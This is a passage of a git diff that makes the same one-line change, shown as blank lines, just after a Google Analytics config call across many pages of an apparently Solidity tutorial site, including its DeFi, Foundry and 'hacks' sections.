+28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/defi/staking-rewards/index.html b/defi/staking-rewards/index.html index 9f67121c5..520c29134 100644 --- a/defi/staking-rewards/index.html +++ b/defi/staking-rewards/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/defi/uniswap-v2-add-remove-liquidity/index.html b/defi/uniswap-v2-add-remove-liquidity/index.html index 9f67121c5..520c29134 100644 --- a/defi/uniswap-v2-add-remove-liquidity/index.html +++ b/defi/uniswap-v2-add-remove-liquidity/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/defi/uniswap-v2-flash-swap/index.html b/defi/uniswap-v2-flash-swap/index.html index 9f67121c5..520c29134 100644 --- a/defi/uniswap-v2-flash-swap/index.html +++ b/defi/uniswap-v2-flash-swap/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/defi/uniswap-v2-optimal-one-sided-supply/index.html b/defi/uniswap-v2-optimal-one-sided-supply/index.html index 9f67121c5..520c29134 100644 --- a/defi/uniswap-v2-optimal-one-sided-supply/index.html +++ b/defi/uniswap-v2-optimal-one-sided-supply/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/defi/uniswap-v2/index.html b/defi/uniswap-v2/index.html index 9f67121c5..520c29134 100644 --- a/defi/uniswap-v2/index.html +++ b/defi/uniswap-v2/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/defi/uniswap-v3-flash-swap/index.html b/defi/uniswap-v3-flash-swap/index.html index 9f67121c5..520c29134 100644 --- a/defi/uniswap-v3-flash-swap/index.html +++ b/defi/uniswap-v3-flash-swap/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/defi/uniswap-v3-flash/index.html b/defi/uniswap-v3-flash/index.html index 9f67121c5..520c29134 100644 --- a/defi/uniswap-v3-flash/index.html +++ b/defi/uniswap-v3-flash/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/defi/uniswap-v3-liquidity/index.html b/defi/uniswap-v3-liquidity/index.html index 9f67121c5..520c29134 100644 --- a/defi/uniswap-v3-liquidity/index.html +++ b/defi/uniswap-v3-liquidity/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/defi/uniswap-v3-swap/index.html b/defi/uniswap-v3-swap/index.html index 9f67121c5..520c29134 100644 --- a/defi/uniswap-v3-swap/index.html +++ b/defi/uniswap-v3-swap/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/defi/vault/index.html b/defi/vault/index.html index 9f67121c5..520c29134 100644 --- a/defi/vault/index.html +++ b/defi/vault/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/delegatecall/index.html b/delegatecall/index.html index 9f67121c5..520c29134 100644 --- a/delegatecall/index.html +++ b/delegatecall/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/enum/index.html b/enum/index.html index 9f67121c5..520c29134 100644 --- a/enum/index.html +++ b/enum/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/error/index.html b/error/index.html index 9f67121c5..520c29134 100644 --- a/error/index.html +++ b/error/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/ether-units/index.html b/ether-units/index.html index 9f67121c5..520c29134 100644 --- a/ether-units/index.html +++ b/ether-units/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/events-advanced/index.html b/events-advanced/index.html index 9f67121c5..520c29134 100644 --- a/events-advanced/index.html +++ b/events-advanced/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/events/index.html b/events/index.html index 9f67121c5..520c29134 100644 --- a/events/index.html +++ b/events/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/evm/memory/index.html b/evm/memory/index.html index 9f67121c5..520c29134 100644 --- a/evm/memory/index.html +++ b/evm/memory/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/evm/storage/index.html b/evm/storage/index.html index 9f67121c5..520c29134 100644 --- a/evm/storage/index.html +++ b/evm/storage/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/fallback/index.html b/fallback/index.html index 9f67121c5..520c29134 100644 --- a/fallback/index.html +++ b/fallback/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/first-app/index.html b/first-app/index.html index 9f67121c5..520c29134 100644 --- a/first-app/index.html +++ b/first-app/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/foundry/auth/index.html b/foundry/auth/index.html index 9f67121c5..520c29134 100644 --- a/foundry/auth/index.html +++ b/foundry/auth/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/foundry/basic/index.html b/foundry/basic/index.html index 9f67121c5..520c29134 100644 --- a/foundry/basic/index.html +++ b/foundry/basic/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/foundry/error/index.html b/foundry/error/index.html index 9f67121c5..520c29134 100644 --- a/foundry/error/index.html +++ b/foundry/error/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/foundry/event/index.html b/foundry/event/index.html index 9f67121c5..520c29134 100644 --- a/foundry/event/index.html +++ b/foundry/event/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/foundry/label/index.html b/foundry/label/index.html index 9f67121c5..520c29134 100644 --- a/foundry/label/index.html +++ b/foundry/label/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/foundry/mock-call/index.html b/foundry/mock-call/index.html index 9f67121c5..520c29134 100644 --- a/foundry/mock-call/index.html +++ b/foundry/mock-call/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/foundry/send/index.html b/foundry/send/index.html index 9f67121c5..520c29134 100644 --- a/foundry/send/index.html +++ b/foundry/send/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/foundry/sign/index.html b/foundry/sign/index.html index 9f67121c5..520c29134 100644 --- a/foundry/sign/index.html +++ b/foundry/sign/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/foundry/time/index.html b/foundry/time/index.html index 9f67121c5..520c29134 100644 --- a/foundry/time/index.html +++ b/foundry/time/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/function-modifier/index.html b/function-modifier/index.html index 9f67121c5..520c29134 100644 --- a/function-modifier/index.html +++ b/function-modifier/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/function-selector/index.html b/function-selector/index.html index 9f67121c5..520c29134 100644 --- a/function-selector/index.html +++ b/function-selector/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/function/index.html b/function/index.html index 9f67121c5..520c29134 100644 --- a/function/index.html +++ b/function/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/gas-golf/index.html b/gas-golf/index.html index 9f67121c5..520c29134 100644 --- a/gas-golf/index.html +++ b/gas-golf/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/gas/index.html b/gas/index.html index 9f67121c5..520c29134 100644 --- a/gas/index.html +++ b/gas/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/hacks/accessing-private-data/index.html b/hacks/accessing-private-data/index.html index 9f67121c5..520c29134 100644 --- a/hacks/accessing-private-data/index.html +++ b/hacks/accessing-private-data/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/hacks/block-timestamp-manipulation/index.html b/hacks/block-timestamp-manipulation/index.html index 9f67121c5..520c29134 100644 --- a/hacks/block-timestamp-manipulation/index.html +++ b/hacks/block-timestamp-manipulation/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/hacks/contract-size/index.html b/hacks/contract-size/index.html index 9f67121c5..520c29134 100644 --- a/hacks/contract-size/index.html +++ b/hacks/contract-size/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/hacks/delegatecall/index.html b/hacks/delegatecall/index.html index 9f67121c5..520c29134 100644 --- a/hacks/delegatecall/index.html +++ b/hacks/delegatecall/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/hacks/denial-of-service/index.html b/hacks/denial-of-service/index.html index 9f67121c5..520c29134 100644 --- a/hacks/denial-of-service/index.html +++ b/hacks/denial-of-service/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/hacks/deploy-different-contracts-same-address/index.html b/hacks/deploy-different-contracts-same-address/index.html index 9f67121c5..520c29134 100644 --- a/hacks/deploy-different-contracts-same-address/index.html +++ b/hacks/deploy-different-contracts-same-address/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/hacks/front-running/index.html b/hacks/front-running/index.html index 9f67121c5..520c29134 100644 --- a/hacks/front-running/index.html +++ b/hacks/front-running/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/hacks/hiding-malicious-code-with-external-contract/index.html b/hacks/hiding-malicious-code-with-external-contract/index.html index 9f67121c5..520c29134 100644 --- a/hacks/hiding-malicious-code-with-external-contract/index.html +++ b/hacks/hiding-malicious-code-with-external-contract/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/hacks/honeypot/index.html b/hacks/honeypot/index.html index 9f67121c5..520c29134 100644 --- a/hacks/honeypot/index.html +++ b/hacks/honeypot/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/hacks/overflow/index.html b/hacks/overflow/index.html index 9f67121c5..520c29134 100644 --- a/hacks/overflow/index.html +++ b/hacks/overflow/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/hacks/phishing-with-tx-origin/index.html b/hacks/phishing-with-tx-origin/index.html index 9f67121c5..520c29134 100644 --- a/hacks/phishing-with-tx-origin/index.html +++ b/hacks/phishing-with-tx-origin/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/hacks/randomness/index.html b/hacks/randomness/index.html index 9f67121c5..520c29134 100644 --- a/hacks/randomness/index.html +++ b/hacks/randomness/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/hacks/re-entrancy/index.html b/hacks/re-entrancy/index.html index 9f67121c5..520c29134 100644 --- a/hacks/re-entrancy/index.html +++ b/hacks/re-entrancy/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/hacks/self-destruct/index.html b/hacks/self-destruct/index.html index 9f67121c5..520c29134 100644 --- a/hacks/self-destruct/index.html +++ b/hacks/self-destruct/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/hacks/signature-replay/index.html b/hacks/signature-replay/index.html index 9f67121c5..520c29134 100644 --- a/hacks/signature-replay/index.html +++ b/hacks/signature-replay/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/hacks/vault-inflation/index.html b/hacks/vault-inflation/index.html index 9f67121c5..520c29134 100644 --- a/hacks/vault-inflation/index.html +++ b/hacks/vault-inflation/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/hacks/weth-permit/index.html b/hacks/weth-permit/index.html index 9f67121c5..520c29134 100644 --- a/hacks/weth-permit/index.html +++ b/hacks/weth-permit/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/hashing/index.html b/hashing/index.html index 9f67121c5..520c29134 100644 --- a/hashing/index.html +++ b/hashing/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/hello-world/index.html b/hello-world/index.html index 9f67121c5..520c29134 100644 --- a/hello-world/index.html +++ b/hello-world/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/if-else/index.html b/if-else/index.html index 9f67121c5..520c29134 100644 --- a/if-else/index.html +++ b/if-else/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/immutable/index.html b/immutable/index.html index 9f67121c5..520c29134 100644 --- a/immutable/index.html +++ b/immutable/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/import/index.html b/import/index.html index 9f67121c5..520c29134 100644 --- a/import/index.html +++ b/import/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/index.html b/index.html index 9f67121c5..520c29134 100644 --- a/index.html +++ b/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/inheritance/index.html b/inheritance/index.html index 9f67121c5..520c29134 100644 --- a/inheritance/index.html +++ b/inheritance/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/interface/index.html b/interface/index.html index 9f67121c5..520c29134 100644 --- a/interface/index.html +++ b/interface/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/library/index.html b/library/index.html index 9f67121c5..520c29134 100644 --- a/library/index.html +++ b/library/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/loop/index.html b/loop/index.html index 9f67121c5..520c29134 100644 --- a/loop/index.html +++ b/loop/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/mapping/index.html b/mapping/index.html index 9f67121c5..520c29134 100644 --- a/mapping/index.html +++ b/mapping/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/new-contract/index.html b/new-contract/index.html index 9f67121c5..520c29134 100644 --- a/new-contract/index.html +++ b/new-contract/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/payable/index.html b/payable/index.html index 9f67121c5..520c29134 100644 --- a/payable/index.html +++ b/payable/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/primitives/index.html b/primitives/index.html index 9f67121c5..520c29134 100644 --- a/primitives/index.html +++ b/primitives/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/sending-ether/index.html b/sending-ether/index.html index 9f67121c5..520c29134 100644 --- a/sending-ether/index.html +++ b/sending-ether/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/shadowing-inherited-state-variables/index.html b/shadowing-inherited-state-variables/index.html index 9f67121c5..520c29134 100644 --- a/shadowing-inherited-state-variables/index.html +++ b/shadowing-inherited-state-variables/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/signature/index.html b/signature/index.html index 9f67121c5..520c29134 100644 --- a/signature/index.html +++ b/signature/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/state-variables/index.html b/state-variables/index.html index 9f67121c5..520c29134 100644 --- a/state-variables/index.html +++ b/state-variables/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/structs/index.html b/structs/index.html index 9f67121c5..520c29134 100644 --- a/structs/index.html +++ b/structs/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/super/index.html b/super/index.html index 9f67121c5..520c29134 100644 --- a/super/index.html +++ b/super/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/tests/echidna/index.html b/tests/echidna/index.html index 9f67121c5..520c29134 100644 --- a/tests/echidna/index.html +++ b/tests/echidna/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/transient-storage/index.html b/transient-storage/index.html index 9f67121c5..520c29134 100644 --- a/transient-storage/index.html +++ b/transient-storage/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/try-catch/index.html b/try-catch/index.html index 9f67121c5..520c29134 100644 --- a/try-catch/index.html +++ b/try-catch/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/unchecked-math/index.html b/unchecked-math/index.html index 9f67121c5..520c29134 100644 --- a/unchecked-math/index.html +++ b/unchecked-math/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/user-defined-value-types/index.html b/user-defined-value-types/index.html index 9f67121c5..520c29134 100644 --- a/user-defined-value-types/index.html +++ b/user-defined-value-types/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/variables/index.html b/variables/index.html index 9f67121c5..520c29134 100644 --- a/variables/index.html +++ b/variables/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/view-and-pure-functions/index.html b/view-and-pure-functions/index.html index 9f67121c5..520c29134 100644 --- a/view-and-pure-functions/index.html +++ b/view-and-pure-functions/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/visibility/index.html b/visibility/index.html index 9f67121c5..520c29134 100644 --- a/visibility/index.html +++ b/visibility/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - +